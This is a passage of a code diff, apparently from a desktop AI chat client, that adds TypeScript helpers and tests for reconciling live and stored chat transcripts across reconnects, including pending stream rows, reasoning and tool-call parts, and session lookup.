+          { type: 'tool-call', toolCallId: 'c1', toolName: 'terminal', args: {} },
+          { type: 'text', text: 'partial' }
+        ]
+      }
+    ]
+
+    const restored = appendLiveSessionProjection(stored, {
+      session_id: 'runtime-1',
+      inflight: {
+        user: 'do the work',
+        // Flat dump includes thinking chatter + tool narration — longer than
+        // the answer text alone, which is how the sandwich used to grow.
+        assistant: 'thinking about tools\nRan terminal\npartial and more dump',
+        streaming: true
+      }
+    })
+
+    const assistants = restored.filter(message => message.role === 'assistant')
+    expect(assistants).toHaveLength(1)
+    expect(assistants[0].id).toBe('live-assistant')
+    expect(assistants[0].parts.some(part => part.type === 'reasoning')).toBe(true)
+    expect(assistants[0].parts.some(part => part.type === 'tool-call')).toBe(true)
+    // Answer text stays the structured row's text, not the dump.
+    expect(
+      assistants[0].parts.filter(part => part.type === 'text').map(part => ('text' in part ? part.text : ''))
+    ).toEqual(['partial'])
+  })
+
+  it('still projects inflight when only a completed historical tool reply has structure', () => {
+    // Older completed assistants keep reasoning/tool parts in the full
+    // transcript; they must not suppress a new turn's text projection.
+    const stored: ChatMessage[] = [
+      msg('old-user', 'user', 'previous task'),
+      {
+        id: 'old-assistant',
+        role: 'assistant',
+        parts: [
+          { type: 'tool-call', toolCallId: 'old', toolName: 'terminal', args: {} },
+          { type: 'text', text: 'done earlier' }
+        ]
+      },
+      msg('new-user', 'user', 'new task')
+    ]
+
+    const restored = appendLiveSessionProjection(stored, {
+      session_id: 'runtime-1',
+      inflight: {
+        user: 'new task',
+        assistant: 'working on it',
+        streaming: true
+      }
+    })
+
+    expect(restored.map(message => message.id)).toContain('assistant-stream-runtime-1')
+    expect(restored.at(-1)).toMatchObject({
+      id: 'assistant-stream-runtime-1',
+      pending: true
+    })
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-session-actions/utils.ts b/ui-desktop/src/app/session/hooks/use-session-actions/utils.ts
new file mode 100644
index 000000000..d2e690215
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-session-actions/utils.ts
@@ -0,0 +1,1127 @@
+import { getSession } from '@/clawcodex'
+import { textWithoutReferenceLines } from '@/components/assistant-ui/reference-kinds'
+import { assistantTextPart, type ChatMessage, chatMessageText, textPart } from '@/lib/chat-messages'
+import { normalizePersonalityValue } from '@/lib/chat-runtime'
+import { embeddedImageUrls, textWithoutEmbeddedImages } from '@/lib/embedded-images'
+import { reconcileApprovalModeForProfile } from '@/store/approval-mode'
+import { requestDesktopOnboardingForCredentialWarning } from '@/store/onboarding'
+import { $activeGatewayProfile, $profiles, normalizeProfileKey } from '@/store/profile'
+import {
+  $currentCwd,
+  $sessions,
+  commitWorkspaceCwdForSelectedSession,
+  releaseWorkspaceCwdOwner,
+  sessionMatchesStoredId,
+  setCurrentBranch,
+  setCurrentCwd,
+  setCurrentFastMode,
+  setCurrentModel,
+  setCurrentPersonality,
+  setCurrentProvider,
+  setCurrentReasoningEffort,
+  setCurrentServiceTier,
+  setCurrentUsage,
+  setSessions,
+  setWorkspaceCwdOwner,
+  setYoloActive
+} from '@/store/session'
+
+// Re-exported for the many session-actions/tile call sites that already import
+// it from here; the canonical definition lives in @/store/session.
+export { sessionMatchesStoredId }
+import { reportBackendContract, reportInstallMethodWarning } from '@/store/updates'
+import type { SessionCreateResponse, SessionInfo, SessionResumeResponse, SessionRuntimeInfo } from '@/types/clawcodex'
+
+import type { ClientSessionState } from '../../../types'
+
+function withAppendedText(message: ChatMessage, suffix: string): ChatMessage {
+  let appended = false
+
+  const parts = message.parts.map(part => {
+    if (part.type !== 'text' || appended) {
+      return part
+    }
+
+    appended = true
+
+    return { ...part, text: `${part.text}${suffix}` }
+  })
+
+  return appended ? { ...message, parts } : message
+}
+
+/** Reasoning / tool-call parts that the gateway inflight dump cannot express. */
+function hasStructuralParts(message: ChatMessage): boolean {
+  return message.parts.some(part => part.type === 'reasoning' || part.type === 'tool-call')
+}
+
+/**
+ * A live-turn row — the gateway's text-only `inflight` projection, a
+ * still-streaming local bubble, or an interim row sealed inside the running
+ * turn — as opposed to a committed transcript row.
+ */
+function isLiveTailRow(message: ChatMessage): boolean {
+  return (
+    message.pending === true ||
+    message.id.startsWith('assistant-stream-') ||
+    message.id.startsWith('inflight-assistant-') ||
+    message.interim === true
+  )
+}
+
+/**
+ * True when `next` is a pure forward extension of the previous *answer* text.
+ * Empty previous answer never accepts a dump as an extension — that is how the
+ * mid-turn inflight flat dump used to sandwich structured rows (#76444).
+ */
+export function isStrictAnswerTextExtension(next: string, previous: string): boolean {
+  const n = next.trim()
+  const p = previous.trim()
+
+  if (!p || !n) {
+    return false
+  }
+
+  return n.startsWith(p)
+}
+
+/**
+ * Carry structural parts an authoritative row cannot express.
+ *
+ * A live turn's authoritative projection is TEXT-ONLY: the gateway's `inflight`
+ * snapshot carries `user`/`assistant` strings, and history is not committed
+ * until the turn finishes. The renderer's cached state is therefore the sole
+ * carrier of the running turn's reasoning and tool calls, so switching threads
+ * mid-turn and back re-hydrated an assistant row stripped of both — the turn
+ * looked inert, with no thinking trace and no tool activity.
+ *
+ * Preserved only when the rows are the SAME turn: identical text, or the
+ * authoritative text extending the cached one (another delta landed). Anything
+ * else may be a different turn at the same role ordinal — compression rewrites
+ * history — and must not inherit foreign parts. Tool calls dedupe on
+ * `toolCallId` so a row that already carries them is left alone.
+ */
+function preserveStructuralParts(message: ChatMessage, previous: ChatMessage): ChatMessage {
+  const carried = previous.parts.filter(part => part.type === 'reasoning' || part.type === 'tool-call')
+
+  if (!carried.length) {
+    return message
+  }
+
+  const hasReasoning = message.parts.some(part => part.type === 'reasoning')
+
+  const presentToolCallIds = new Set(
+    message.parts.flatMap(part => (part.type === 'tool-call' ? [part.toolCallId] : []))
+  )
+
+  const missing = carried.filter(part =>
+    part.type === 'reasoning' ? !hasReasoning : !presentToolCallIds.has(part.toolCallId)
+  )
+
+  return missing.length ? { ...message, parts: [...missing, ...message.parts] } : message
+}
+
+// Compile-time exhaustiveness guards. If a new field is added to ChatMessage
+// or a new part type appears in the ChatMessagePart union (e.g. @assistant-ui
+// ships one), these fail tsc until someone explicitly classifies it.
+//
+// COMPARED: fields whose change must trigger a re-render (setMessages).
+// IGNORED:  fields that are intentionally not compared — display-only metadata
+//           or reference identity the runtime already guarantees.
+//   timestamp  — presentation-only (sort/age display), never affects transcript equality
+//   attachmentRefs — composer-side metadata; already reconciled in reconcileResumeMessages
+//   rowId — durable backend identity; stable for a given row, never changes what's painted
+//
+// If your new field affects what the user sees in the transcript, add it to
+// COMPARED. If it's metadata that shouldn't trigger a re-render, add it to
+// IGNORED.
+const _chatMessageFieldsExhaustive: {
+  [K in Exclude<keyof ChatMessage, (typeof COMPARED_FIELDS)[number] | (typeof IGNORED_FIELDS)[number]>]: never
+} = {}
+
+const COMPARED_FIELDS = ['id', 'role', 'pending', 'error', 'hidden', 'branchGroupId', 'interim', 'reactions'] as const
+
+const IGNORED_FIELDS = ['timestamp', 'attachmentRefs', 'parts', 'rowId'] as const
+
+// Compile-time check: every ChatMessagePart discriminant must be handled by
+// chatPartsEquivalent. If @assistant-ui adds a new part type, this fails tsc.
+//   text, reasoning      → compared by .text
+//   tool-call             → compared by toolCallId/toolName + result presence
+//   source, image, file, data, generative-ui, audio, data-* → shallow primitive compare
+const _chatMessagePartTypesExhaustive: {
+  [T in Exclude<ChatMessage['parts'][number]['type'], (typeof HANDLED_PART_TYPES)[number]>]: never
+} = {}
+
+const HANDLED_PART_TYPES = [
+  'text',
+  'reasoning',
+  'tool-call',
+  'source',
+  'image',
+  'file',
+  'data',
+  'generative-ui',
+  'audio'
+] as const
+
+// Structural compare WITHOUT JSON.stringify — the only consumer asks "did
+// the transcript change, should I call setMessages?", so a slightly
+// conservative compare (occasionally false-negative → one extra idempotent
+// setMessages) is safe, but a false-POSITIVE (claiming equal when different)
+// would skip a needed update.
+export function chatPartsEquivalent(aPart: ChatMessage['parts'][number], bPart: ChatMessage['parts'][number]): boolean {
+  // Reference equality fast-path
+  if (aPart === bPart) {
+    return true
+  }
+
+  if (aPart.type !== bPart.type) {
+    return false
+  }
+
+  if (aPart.type === 'text' || aPart.type === 'reasoning') {
+    return (aPart as { text: string }).text === (bPart as { text: string }).text
+  }
+
+  if (aPart.type === 'tool-call') {
+    const aCall = aPart as { toolCallId?: string; toolName?: string; result?: unknown }
+    const bCall = bPart as { toolCallId?: string; toolName?: string; result?: unknown }
+
+    if (aCall.toolCallId !== bCall.toolCallId || aCall.toolName !== bCall.toolName) {
+      return false
+    }
+
+    // Compare whether result is present (undefined on both or defined on both)
+    const aHasResult = aCall.result !== undefined
+    const bHasResult = bCall.result !== undefined
+
+    return aHasResult === bHasResult
+  }
+
+  // For all other handled part types (source, image, file, data, generative-ui,
+  // audio, data-*), fall back to shallow primitive-key comparison — conservative:
+  // if we're not sure, claim not-equal (one extra setMessages is harmless, but
+  // skipping an update would break the UI).
+  const aPrimitive = aPart as Record<string, unknown>
+  const bPrimitive = bPart as Record<string, unknown>
+  const aKeys = Object.keys(aPrimitive).filter(k => typeof aPrimitive[k] !== 'object' || aPrimitive[k] === null)
+  const bKeys = Object.keys(bPrimitive).filter(k => typeof bPrimitive[k] !== 'object' || bPrimitive[k] === null)
+
+  if (aKeys.length !== bKeys.length) {
+    return false
+  }
+
+  return aKeys.every(k => aPrimitive[k] === bPrimitive[k])
+}
+
+export function chatReactionsEquivalent(a: ChatMessage['reactions'], b: ChatMessage['reactions']): boolean {
+  const aList = a ?? []
+  const bList = b ?? []
+
+  if (aList === bList) {
+    return true
+  }
+
+  return (
+    aList.length === bList.length &&
+    aList.every((reaction, index) => reaction.emoji === bList[index].emoji && reaction.author === bList[index].author)
+  )
+}
+
+export function chatMessagesEquivalent(a: ChatMessage, b: ChatMessage): boolean {
+  if (
+    a.id !== b.id ||
+    a.role !== b.role ||
+    a.pending !== b.pending ||
+    a.error !== b.error ||
+    a.hidden !== b.hidden ||
+    a.branchGroupId !== b.branchGroupId ||
+    // Interim gates the action footer, so flipping it must repaint (e.g. a
+    // previewed final settling onto a sealed interim bubble restores the bar).
+    (a.interim ?? false) !== (b.interim ?? false) ||
+    !chatReactionsEquivalent(a.reactions, b.reactions)
+  ) {
+    return false
+  }
+
+  if (a.parts.length !== b.parts.length) {
+    return false
+  }
+
+  return a.parts.every((part, index) => chatPartsEquivalent(part, b.parts[index]))
+}
+
+export function chatMessageArraysEquivalent(a: ChatMessage[], b: ChatMessage[]): boolean {
+  // Array-level identity fast-path (same reference)
+  if (a === b) {
+    return true
+  }
+
+  return a.length === b.length && a.every((message, index) => chatMessagesEquivalent(message, b[index]))
+}
+
+export function reconcileResumeMessages(nextMessages: ChatMessage[], previousMessages: ChatMessage[]): ChatMessage[] {
+  if (!previousMessages.length) {
+    return nextMessages
+  }
+
+  const previousByRoleOrdinal = new Map<string, ChatMessage>()
+  const previousRoleCounts = new Map<string, number>()
+
+  for (const message of previousMessages) {
+    const ordinal = previousRoleCounts.get(message.role) ?? 0
+    previousRoleCounts.set(message.role, ordinal + 1)
+    previousByRoleOrdinal.set(`${message.role}:${ordinal}`, message)
+  }
+
+  const nextRoleCounts = new Map<string, number>()
+
+  return nextMessages.map(message => {
+    const ordinal = nextRoleCounts.get(message.role) ?? 0
+    nextRoleCounts.set(message.role, ordinal + 1)
+
+    const previous = previousByRoleOrdinal.get(`${message.role}:${ordinal}`)
+
+    if (!previous) {
+      return message
+    }
+
+    const nextText = chatMessageText(message).trim()
+    const previousText = chatMessageText(previous)
+    const previousVisibleText = textWithoutEmbeddedImages(previousText)
+    const previousTrimmed = previousVisibleText.trim()
+    let preserved = message
+
+    // #75825: resume can project an empty (or lagging) inflight assistant shell
+    // at the same role-ordinal as the live stream row that still holds the
+    // streamed text, reasoning and tool calls. Prefer that richer pending row
+    // instead of painting the shell — otherwise the reply vanishes until
+    // restart. Guarded to the same reply further along (see
+    // localPendingSupersedes) so a different turn at the same ordinal cannot
+    // hijack the slot.
+    if (localPendingSupersedes(previous, message)) {
+      return withAuthoritativeTurnState(previous, message)
+    }
+
+    const sameText = nextText === previousVisibleText || nextText === previousText.trim()
+
+    // Mid-turn, the authoritative text has advanced past the cached copy by one
+    // or more deltas. That is still the same turn, and the cached row holds the
+    // only copy of its reasoning / tool calls, so treat an extension as a match
+    // for structural carry-over. Attachment refs and image re-appending stay on
+    // the strict equality path — they reconcile a SETTLED row, and a growing
+    // row is by definition not settled.
+    //
+    // Live-tail identity: structure-only same-turn carry is allowed only when
+    // the *structure-bearing cached row* is still the in-flight stream
+    // (pending / stream id / interim). Marking only the text-only next row
+    // live is not enough — after compression a new live assistant can share a
+    // role ordinal with an unrelated historical structured row and must not
+    // inherit its reasoning/tool parts (#76444 review / salvage).
+    const sameTurn =
+      sameText ||
+      (nextText.length > 0 && previousTrimmed.length > 0 && isStrictAnswerTextExtension(nextText, previousTrimmed)) ||
+      (message.role === 'assistant' &&
+        previous.role === 'assistant' &&
+        hasStructuralParts(previous) &&
+        !hasStructuralParts(message) &&
+        isLiveTailRow(previous))
+
+    if (sameTurn) {
+      preserved = preserveStructuralParts(preserved, previous)
+
+      // Never replace structured answer text with a non-extending flat dump.
+      if (
+        message.role === 'assistant' &&
+        hasStructuralParts(previous) &&
+        !hasStructuralParts(message) &&
+        !isStrictAnswerTextExtension(nextText, previousVisibleText)
+      ) {
+        const nonText = preserved.parts.filter(part => part.type !== 'text')
+        const priorAnswer = previous.parts.filter(part => part.type === 'text')
+        preserved = { ...preserved, parts: [...nonText, ...priorAnswer] }
+      }
+    }
+
+    if (
+      sameText &&
+      message.role === 'user' &&
+      preserved.attachmentRefs === undefined &&
+      previous.attachmentRefs?.length
+    ) {
+      preserved = { ...preserved, attachmentRefs: [...previous.attachmentRefs] }
+    }
+
+    // Reactions and the row id come from the same authoritative rows as the
+    // text, but a live/optimistic row that hasn't round-tripped yet carries
+    // neither. Carry the cached copy forward so a reaction doesn't blink off
+    // mid-turn. NEW object every time — the runtime repository's WeakMap
+    // caches normalized ThreadMessages by ChatMessage identity.
+    if (sameTurn && preserved.rowId === undefined && previous.rowId !== undefined) {
+      preserved = { ...preserved, rowId: previous.rowId }
+    }
+
+    if (sameTurn && preserved.reactions === undefined && previous.reactions?.length) {
+      preserved = { ...preserved, reactions: [...previous.reactions] }
+    }
+
+    const previousImages = embeddedImageUrls(previousText)
+
+    if (!previousImages.length || embeddedImageUrls(chatMessageText(preserved)).length) {
+      return preserved
+    }
+
+    if (nextText !== previousVisibleText) {
+      return preserved
+    }
+
+    return withAppendedText(preserved, previousImages.map(url => `\n${url}`).join(''))
+  })
+}
+
+/**
+ * Keep the local tail of a turn while a reconnect hydrates an older server
+ * projection. The user's optimistic row exists before prompt.submit persists
+ * it, and the pending assistant row exists before message.complete commits it;
+ * dropping either makes an accepted turn appear to vanish during transport
+ * churn.
+ *
+ * A lagging projection can be behind by one live turn, never a whole local
+ * history window. Preserve only the newest optimistic user row: compression
+ * rewrites past context, so older `user-*` rows in a warm cache are stale
+ * history, not in-flight work. The latest authoritative user confirms whether
+ * that tail has persisted. An authoritative assistant at the same ordinal
+ * supersedes the local stream only when it is at least as complete; an empty
+ * or lagging inflight shell must not discard a fuller local pending reply
+ * (#75825).
+ *
+ * Gateway bookkeeping markers (the model-switch / personality notices written
+ * by tui_gateway/server.py) are persisted as role=user but are not user turns.
+ * They must not take part in ordinal pairing on either side: a stored marker
+ * between two real user turns shifts every later user ordinal, so the optimistic
+ * row misses its committed copy and is appended a second time at the end of the
+ * transcript — the duplicated user bubble of #67603.
+ */
+const isGatewaySystemMarker = (message: ChatMessage): boolean =>
+  message.role === 'user' && chatMessageText(message).trimStart().startsWith('[System:')
+
+/**
+ * Does the row carry anything a viewer would miss — streamed answer text, or
+ * the reasoning / tool-call structure the gateway's flat dump cannot express?
+ * An empty inflight shell carries none of it.
+ */
+const hasStreamedContent = (message: ChatMessage): boolean =>
+  chatMessageText(message).trim().length > 0 || hasStructuralParts(message)
+
+/**
+ * May the cached local row stand in for this authoritative assistant?
+ *
+ * Only for a live projection of the SAME reply that the local copy is further
+ * along on: an empty shell, or text the local row strictly extends. Comparing
+ * lengths alone lets an unrelated (merely longer) local row hijack the ordinal
+ * — or the stream id — of a genuine stored reply. A retained failure snapshot
+ * (`inflight.error`, projected with empty text) is never a shell: repainting it
+ * from the local partial would hide the error and mark the turn healthy again.
+ */
+const localPendingSupersedes = (local: ChatMessage, authoritative: ChatMessage): boolean => {
+  if (local.role !== 'assistant' || !isLiveTailRow(local)) {
+    return false
+  }
+
+  if (!isLiveTailRow(authoritative) || authoritative.error) {
+    return false
+  }
+
+  const authoritativeText = chatMessageText(authoritative).trim()
+
+  if (!authoritativeText.length) {
+    return hasStreamedContent(local)
+  }
+
+  const localText = chatMessageText(local).trim()
+
+  return localText.length > authoritativeText.length && isStrictAnswerTextExtension(localText, authoritativeText)
+}
+
+/**
+ * Take the cached row's content, but never its liveness. The renderer holds the
+ * only copy of the streamed parts; the gateway remains the authority on whether
+ * the turn is still running and on durable row identity — so a settled shell
+ * must not repaint the reply as perpetually streaming.
+ */
+const withAuthoritativeTurnState = (local: ChatMessage, authoritative: ChatMessage): ChatMessage => {
+  const merged: ChatMessage = { ...local, pending: authoritative.pending === true }
+
+  if (local.rowId === undefined && authoritative.rowId !== undefined) {
+    merged.rowId = authoritative.rowId
+  }
+
+  if (local.reactions === undefined && authoritative.reactions?.length) {
+    merged.reactions = [...authoritative.reactions]
+  }
+
+  return merged
+}
+
+export function preserveLocalPendingTurnMessages(
+  nextMessages: ChatMessage[],
+  previousMessages: ChatMessage[]
+): ChatMessage[] {
+  if (!previousMessages.length) {
+    return nextMessages
+  }
+
+  const nextByRoleOrdinal = new Map<string, ChatMessage>()
+  const nextRoleCounts = new Map<ChatMessage['role'], number>()
+
+  for (const message of nextMessages) {
+    if (isGatewaySystemMarker(message)) {
+      continue
+    }
+
+    const ordinal = nextRoleCounts.get(message.role) ?? 0
+    nextRoleCounts.set(message.role, ordinal + 1)
+    nextByRoleOrdinal.set(`${message.role}:${ordinal}`, message)
+  }
+
+  const nextIds = new Set(nextMessages.map(message => message.id))
+  const previousRoleCounts = new Map<ChatMessage['role'], number>()
+
+  const newestOptimisticUser = [...previousMessages]
+    .reverse()
+    .find(message => message.role === 'user' && message.id.startsWith('user-'))
+
+  // A mid-turn redirect inserts its correction as a second optimistic user row
+  // directly before the live reply, so one turn can own a contiguous RUN of
+  // them. Preserving only the newest keeps the correction and drops the prompt
+  // that started the turn. Widen to the run — but only the contiguous one: any
+  // `user-*` row separated by an assistant reply is stale post-compression
+  // history, which is what the newest-only rule exists to discard.
+  const liveOptimisticUsers = new Set<ChatMessage>()
+
+  if (newestOptimisticUser) {
+    for (let index = previousMessages.indexOf(newestOptimisticUser); index >= 0; index -= 1) {
+      const candidate = previousMessages[index]
+
+      if (candidate.role !== 'user' || !candidate.id.startsWith('user-')) {
+        break
+      }
+
+      liveOptimisticUsers.add(candidate)
+    }
+  }
+
+  const latestAuthoritativeUser = [...nextMessages].reverse().find(message => message.role === 'user')
+  const preserved: ChatMessage[] = []
+  // Authoritative id → richer local pending row. Replacing (not appending)
+  // avoids painting both the empty inflight shell and the full stream bubble.
+  const replacements = new Map<string, ChatMessage>()
+
+  for (const message of previousMessages) {
+    if (isGatewaySystemMarker(message)) {
+      continue
+    }
+
+    const ordinal = previousRoleCounts.get(message.role) ?? 0
+    previousRoleCounts.set(message.role, ordinal + 1)
+
+    const isOptimisticUser = message.role === 'user' && message.id.startsWith('user-')
+
+    const isPendingAssistant =
+      message.role === 'assistant' && (message.pending === true || message.id.startsWith('assistant-stream-'))
+
+    if (!isOptimisticUser && !isPendingAssistant) {
+      continue
+    }
+
+    // Same id already present: still prefer a strictly more complete local
+    // pending body over an empty/stale shell that reused the stream id.
+    if (nextIds.has(message.id)) {
+      if (isPendingAssistant) {
+        const existing = nextMessages.find(candidate => candidate.id === message.id)
+
+        if (existing && localPendingSupersedes(message, existing)) {
+          replacements.set(message.id, withAuthoritativeTurnState(message, existing))
+        }
+      }
+
+      continue
+    }
+
+    if (isOptimisticUser && !liveOptimisticUsers.has(message)) {
+      continue
+    }
+
+    if (
+      isOptimisticUser &&
+      latestAuthoritativeUser &&
+      textWithoutReferenceLines(chatMessageText(latestAuthoritativeUser)) ===
+        textWithoutReferenceLines(chatMessageText(message))
+    ) {
+      continue
+    }
+
+    const authoritative = nextByRoleOrdinal.get(`${message.role}:${ordinal}`)
+
+    // A settled stream row (`pending: false` after message.complete) whose reply
+    // the authoritative transcript already carries under its committed id is
+    // stale: ordinal pairing can't see it, because the commit shifted the row
+    // one ordinal earlier, and re-appending it renders the same answer twice
+    // (#70209). Only text-identical rows are dropped — a settled row the backend
+    // has NOT committed yet is the only copy of that reply and must survive.
+    if (
+      isPendingAssistant &&
+      message.pending !== true &&
+      nextMessages.some(
+        candidate =>
+          candidate.role === 'assistant' &&
+          textWithoutReferenceLines(chatMessageText(candidate)) === textWithoutReferenceLines(chatMessageText(message))
+      )
+    ) {
+      continue
+    }
+
+    if (authoritative) {
+      if (isPendingAssistant) {
+        // Keep the local pending row when it is the same reply further along
+        // and the authoritative row is an empty projection shell or a prefix.
+        // #75825
+        if (!localPendingSupersedes(message, authoritative)) {
+          continue
+        }
+
+        replacements.set(authoritative.id, withAuthoritativeTurnState(message, authoritative))
+
+        continue
+      }
+
+      if (
+        textWithoutReferenceLines(chatMessageText(authoritative)) ===
+        textWithoutReferenceLines(chatMessageText(message))
+      ) {
+        continue
+      }
+    }
+
+    preserved.push(message)
+  }
+
+  const withReplacements =
+    replacements.size > 0 ? nextMessages.map(message => replacements.get(message.id) ?? message) : nextMessages
+
+  return preserved.length ? [...withReplacements, ...preserved] : withReplacements
+}
+
+/**
+ * Append the backend-only tail of a live turn to a stored transcript.
+ *
+ * Session history is committed only when a turn finishes. During a reconnect,
+ * `inflight` is therefore the authority for the currently running user/assistant
+ * pair, while `queued` is an accepted next-turn prompt waiting in gateway
+ * memory. Stable ids let repeated activate/resume hydration reconcile instead
+ * of growing duplicate rows.
+ */
+export function appendLiveSessionProjection(
+  messages: ChatMessage[],
+  projection: Pick<SessionResumeResponse, 'inflight' | 'queued' | 'session_id'>
+): ChatMessage[] {
+  const inflightUser = projection.inflight?.user?.trim() ?? ''
+  const inflightAssistant = projection.inflight?.assistant ?? ''
+  const inflightStreaming = Boolean(projection.inflight?.streaming)
+
+  // Mid-turn redirect corrections. They are additional user bubbles belonging
+  // to this same turn, ordered after the prompt that started it.
+  const inflightCorrections = (projection.inflight?.corrections ?? [])
+    .map(correction => correction?.trim() ?? '')
+    .filter(Boolean)
+
+  // A retained failed turn (the gateway keeps error snapshots replayable when
+  // the terminal frame may have been lost to a disconnect) — surface the
+  // failure on the projected row instead of rendering the partial as healthy.
+  const inflightError = projection.inflight?.error?.trim() ?? ''
+  const queuedUser = projection.queued?.user?.trim() ?? ''
+
+  if (
+    !inflightUser &&
+    !inflightAssistant &&
+    !inflightStreaming &&
+    !inflightError &&
+    !queuedUser &&
+    !inflightCorrections.length
+  ) {
+    return messages
+  }
+
+  const sessionId = projection.session_id || 'session'
+  const projected: ChatMessage[] = []
+  // A turn normally persists its user row before inference begins. session.resume
+  // then returns that stored row *and* the still-live inflight projection; adding
+  // both makes a backgrounded prompt appear twice when its session is reopened.
+  // Only suppress the projection when the latest authoritative user row is the
+  // same turn — older identical prompts must not hide a newly accepted repeat.
+  // A mid-turn redirect gives that turn a RUN of user rows (prompt +
+  // corrections), so match the contiguous run ending at the latest user row
+  // rather than the single last one.
+  const latestUserIndex = messages.map(message => message.role).lastIndexOf('user')
+  const latestUserRun: ChatMessage[] = []
+
+  for (let index = latestUserIndex; index >= 0 && messages[index].role === 'user'; index -= 1) {
+    latestUserRun.unshift(messages[index])
+  }
+
+  const persistedInLatestRun = (text: string): boolean =>
+    latestUserRun.some(
+      message => textWithoutReferenceLines(chatMessageText(message)) === textWithoutReferenceLines(text)
+    )
+
+  const inflightUserAlreadyPersisted = Boolean(inflightUser) && persistedInLatestRun(inflightUser)
+
+  if (inflightUser && !inflightUserAlreadyPersisted) {
+    projected.push({
+      id: `user-inflight-${sessionId}`,
+      role: 'user',
+      parts: [textPart(inflightUser)]
+    })
+  }
+
+  // Corrections typed while the turn ran. Each is its own bubble, placed after
+  // the original prompt and before the reply they redirected — the same order
+  // the live transcript showed. Skip any the transcript already holds so a
+  // resume doesn't double them.
+  for (const [index, correction] of inflightCorrections.entries()) {
+    if (persistedInLatestRun(correction)) {
+      continue
+    }
+
+    projected.push({
+      id: `user-inflight-correction-${index}-${sessionId}`,
+      role: 'user',
+      parts: [textPart(correction)]
+    })
+  }
+
+  // Keep a pending assistant boundary even before the first delta when a
+  // queued user turn follows it. This preserves the two distinct turns.
+  //
+  // When the *current live turn* already holds a structured mid-turn assistant
+  // row (reasoning / tool-call from the live stream or journal), do NOT append
+  // a pure-text projection of `inflight.assistant` — that flat dump re-renders
+  // thinking as answer text and sandwiches the structured parts (#76444).
+  // Only inspect the live tail after the latest user run — never a completed
+  // historical tool-bearing reply earlier in the transcript (review feedback).
+  const liveStreamId = `assistant-stream-${sessionId}`
+
+  const liveAssistantOfCurrentTurn = ((): ChatMessage | null => {
+    const byStreamId = messages.find(message => message.id === liveStreamId)
+
+    if (byStreamId) {
+      return byStreamId
+    }
+
+    // Assistants after the latest user row belong to this turn's tail.
+    if (latestUserIndex < 0) {
+      return null
+    }
+
+    for (let index = messages.length - 1; index > latestUserIndex; index -= 1) {
+      if (messages[index].role === 'assistant') {
+        return messages[index]
+      }
+    }
+
+    return null
+  })()
+
+  const turnAlreadyStructured = Boolean(
+    liveAssistantOfCurrentTurn &&
+    hasStructuralParts(liveAssistantOfCurrentTurn) &&
+    isLiveTailRow(liveAssistantOfCurrentTurn)
+  )
+
+  if (inflightAssistant || inflightStreaming || inflightError || (inflightUser && queuedUser)) {
+    if (turnAlreadyStructured && !inflightError) {
+      // Structure is authoritative; skip the text-only dump row.
+    } else {
+      projected.push({
+        id: liveStreamId,
+        role: 'assistant',
+        parts: inflightAssistant ? [assistantTextPart(inflightAssistant)] : [],
+        pending: inflightStreaming,
+        ...(inflightError ? { error: inflightError } : {})
+      })
+    }
+  }
+
+  if (queuedUser) {
+    projected.push({
+      id: `user-queued-${sessionId}`,
+      role: 'user',
+      parts: [textPart(queuedUser)]
+    })
+  }
+
+  return projected.length ? [...messages, ...projected] : messages
+}
+
+export interface BranchMessage {
+  content: string
+  role: ChatMessage['role']
+  source: ChatMessage
+}
+
+// The copyable spine of a branch: user/assistant turns that carry text.
+export const toBranchMessages = (messages: ChatMessage[]): BranchMessage[] =>
+  messages
+    .map(message => ({ content: chatMessageText(message), role: message.role, source: message }))
+    .filter(({ content, role }) => content.trim() && (role === 'assistant' || role === 'user'))
+
+export function upsertOptimisticSession(
+  created: SessionCreateResponse,
+  id: string,
+  title: string | null = null,
+  preview: string | null = null,
+  parentSessionId: string | null = null,
+  lastActive?: number
+) {
+  const now = lastActive ?? Date.now() / 1000
+  // Stamp the profile the session was just created on (= the live gateway's
+  // profile) so the scoped sidebar shows the new row immediately instead of
+  // filtering it out as "default" until the aggregator re-fetches.
+  const profileKey = normalizeProfileKey($activeGatewayProfile.get())
+
+  const session: SessionInfo = {
+    // Seed cwd so the grouped sidebar can place the new row in its repo/worktree
+    // lane immediately (the overlay groups by path); fall back to the workspace
+    // the session was just started in when the create response omits it.
+    cwd: created.info?.cwd ?? ($currentCwd.get().trim() || null),
+    ended_at: null,
+    id,
+    input_tokens: 0,
+    is_active: true,
+    is_default_profile: profileKey === 'default',
+    last_active: now,
+    message_count: created.message_count ?? created.messages?.length ?? 0,
+    model: created.info?.model ?? null,
+    output_tokens: 0,
+    parent_session_id: parentSessionId,
+    preview,
+    profile: profileKey,
+    source: 'tui',
+    started_at: now,
+    title,
+    tool_call_count: 0
+  }
+
+  setSessions(prev => [session, ...prev.filter(s => s.id !== id)])
+}
+
+export function patchSessionWorkspace(sessionId: string, cwd: string | undefined) {
+  if (!cwd) {
+    return
+  }
+
+  setSessions(prev => prev.map(session => (session.id === sessionId ? { ...session, cwd } : session)))
+}
+
+export function sessionShouldHaveTranscript(session: SessionInfo | undefined): boolean {
+  return (session?.message_count ?? 0) > 0
+}
+
+function upsertResolvedSession(session: SessionInfo, storedSessionId: string) {
+  const lineage = session._lineage_root_id ?? session.id
+
+  setSessions(prev => [
+    session,
+    ...prev.filter(existing => {
+      if (sessionMatchesStoredId(existing, storedSessionId)) {
+        return false
+      }
+
+      return (existing._lineage_root_id ?? existing.id) !== lineage
+    })
+  ])
+}
+
+export async function resolveStoredSession(storedSessionId: string): Promise<SessionInfo | undefined> {
+  const cached = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
+
+  // A row with no owning profile can't route a resume when more than one
+  // profile exists — a resume without a profile lands on whichever gateway is
+  // active (#67603 family, cross-profile open asymmetry). Treat such a hit as
+  // unresolved and fall through to the by-id lookups, which stamp ownership.
+  const multiProfile = $profiles.get().length > 1
+
+  if (cached && (cached.profile?.trim() || !multiProfile)) {
+    return cached
+  }
+
+  // Direct by-id on the live backend — one row lookup, no list scan. Covers
+  // single-profile users and any id on the active profile (e.g. an old session
+  // past the sidebar's recent window). 404 just means it's not on this profile.
+  try {
+    const session = await getSession(storedSessionId)
+
+    // Older backends omit `profile` on unscoped GETs; the serving backend is
+    // the active gateway's, so back-fill that rather than caching an unowned
+    // row. A present stamp is preserved: in app-global remote mode a bare hit
+    // can legitimately carry another profile's row (see the branch tests).
+    session.profile ||= normalizeProfileKey($activeGatewayProfile.get())
+
+    upsertResolvedSession(session, storedSessionId)
+
+    return session
+  } catch {
